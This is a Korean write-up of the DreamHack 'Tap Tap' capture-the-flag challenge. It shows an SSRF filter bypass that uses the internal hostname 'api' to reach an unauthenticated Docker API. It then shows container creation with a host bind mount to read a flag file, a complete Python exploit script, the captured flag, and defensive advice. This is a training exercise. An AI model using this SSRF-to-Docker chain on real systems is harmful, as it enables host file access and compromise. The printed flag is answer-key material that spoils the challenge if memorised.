DreamHack Tap Tap 풀이
문제 구조 파악
접속하면 Internal API Testing Tool 단 하나의 화면이 나온다. Method, URL, POST Data(JSON)를 입력해 서버가 대신 요청을 보내주는 구조다.
| 항목 | 내용 |
|---|---|
| 입력 포인트 | method / url / data (POST form) |
| 차단 조건 | 127.0.0.1 계열, file:// 스킴 |
| 공격 벡터 | SSRF — 서버가 내부 네트워크로 요청 대리 |
| 내부 타깃 | api:2375 (mock Docker API) |
핵심은 단순하다. 서버가 요청을 대신 보내주는 기능에서, 필터가 막지 못하는 내부 호스트명으로 Docker API에 접근하면 끝난다.
Step 1 — 서비스 진입: Internal API Testing Tool

Method → URL → POST Data 세 입력란만 있는 단순한 화면이다. 외부로 요청을 보내면 응답이 Response 섹션에 그대로 반사된다. 이 반사 동작이 SSRF 공격 채널이 된다.
Step 2 — 필터 확인: 127.0.0.1 직접 접근 차단
URL: http://127.0.0.1/

127.0.0.1을 그대로 넣으면 "Access to internal network is prohibited." 메시지가 반환된다. 문자열 혹은 정규식 기반 필터가 작동하고 있다는 신호다. 단, 이 필터는 127.0.0.1 표기만 막는 것이지 내부 호스트명까지 막는 게 아니다.
Step 3 — 필터 우회: 내부 호스트명으로 Docker API 접근
URL: http://api:2375/version

내부 컨테이너 네트워크의 호스트명 api는 필터에 걸리지 않는다. 응답으로 Docker Engine 버전 정보가 반환되며, 이 시점에서 내부 Docker API와 통신 가능함이 확인된다.
{"Platform":{"Name":"Docker Engine - Community"},"ApiVersion":"1.41","Version":"20.10.24-mock"}
Step 4 — 컨테이너 생성: /host_flag 마운트
Method: POST
URL: http://api:2375/containers/create
POST Data:
{
"Image": "alpine",
"Cmd": ["cat", "/host_flag/flag.txt"],
"HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]}
}

/host_flag 디렉토리를 읽기 전용으로 마운트한 컨테이너를 생성한다. 응답으로 컨테이너 Id가 반환된다.
{"Id":"004bb760a621465cbde2a9d8b1a3aba6","Warnings":[]}
이 Id를 다음 단계에 사용한다.
컨테이너 시작 요청:
Method: POST
URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/start
Step 5 — 컨테이너 로그 조회: 플래그 획득
Method: GET
URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/logs?stdout=1

컨테이너가 실행한 cat /host_flag/flag.txt 출력이 로그로 반환된다. Response 섹션에 플래그가 그대로 노출된다.
최종 플래그
DH{57e8e65fa0b07d5c90a90d42a25e6aa77b9e0e0627c2cdedfe519ae5288858b3}
공격 흐름 요약
Internal API Testing Tool (SSRF 포인트)
→ 127.0.0.1 차단 확인 (필터 범위 파악)
→ http://api:2375/version 접근 (내부 호스트명 우회)
→ /containers/create (alpine + /host_flag 마운트)
→ /containers/<id>/start
→ /containers/<id>/logs?stdout=1 → 플래그
Full Exploit — URL 하나로 플래그까지
아래 코드는 대상 URL만 넘기면 ① SSRF 동작 확인 → ② 컨테이너 생성 → ③ 시작 → ④ 로그에서 플래그 추출까지 자동으로 실행한다.
#!/usr/bin/env python3
"""
DreamHack Tap Tap — Full SSRF → Docker API Exploit
Usage: python3 exploit.py http://host3.dreamhack.games:11138
"""
import sys
import re
import json
import html
import requests
DOCKER = "http://api:2375"
def previewer(session: requests.Session, base: str, method: str, url: str, data: dict | None = None):
"""Internal API Testing Tool을 통해 요청을 프록시한다."""
payload = {"method": method.upper(), "url": url, "data": json.dumps(data) if data else ""}
r = session.post(base + "/", data=payload, timeout=15)
# <pre> 태그 안의 응답 본문 추출 후 HTML 엔티티 디코딩 (" → " 등)
m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
raw = m.group(1).strip() if m else r.text.strip()
return html.unescape(raw)
def exploit(base: str):
base = base.rstrip("/")
session = requests.Session()
# ── 1) SSRF 동작 확인 ──────────────────────────────────────────
resp = previewer(session, base, "GET", f"{DOCKER}/version")
if "ApiVersion" not in resp:
sys.exit(f"[-] Docker API 접근 실패 — 응답: {resp[:200]}")
print("[+] Docker API 접근 확인:", resp[:80])
# ── 2) 컨테이너 생성 ──────────────────────────────────────────
create_body = {
"Image": "alpine",
"Cmd": ["cat", "/host_flag/flag.txt"],
"HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]},
}
resp = previewer(session, base, "POST", f"{DOCKER}/containers/create", create_body)
try:
container_id = json.loads(resp)["Id"]
except Exception:
sys.exit(f"[-] 컨테이너 생성 실패 — 응답: {resp[:200]}")
print(f"[+] 컨테이너 생성: {container_id}")
# ── 3) 컨테이너 시작 ──────────────────────────────────────────
previewer(session, base, "POST", f"{DOCKER}/containers/{container_id}/start", {})
print("[+] 컨테이너 시작 완료")
# ── 4) 로그 조회 → 플래그 ─────────────────────────────────────
logs = previewer(session, base, "GET", f"{DOCKER}/containers/{container_id}/logs?stdout=1")
m = re.search(r"DH\{[^}]+\}", logs)
if m:
print(f"\n[FLAG] {m.group(0)}")
else:
print("[-] 플래그 패턴 미발견 — 로그 내용:")
print(logs[:300])
if __name__ == "__main__":
url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:11138"
exploit(url)
![Full Exploit] 실행 결과 (/images/blog/dreamhack-tap-tap/flow/result.PNG)
방어 방법
- URL 화이트리스트 기반 허용 정책 — 내부 호스트명 포함 전체 차단
- DNS rebinding 방지 — resolve 결과를 기준으로 private address 재검증
- Docker API 네트워크 격리 — 관리 포트(2375/2376)는 외부 컨테이너 네트워크와 분리
- TLS + 인증 — Docker API는 반드시 인증된 클라이언트만 접근 가능하도록 설정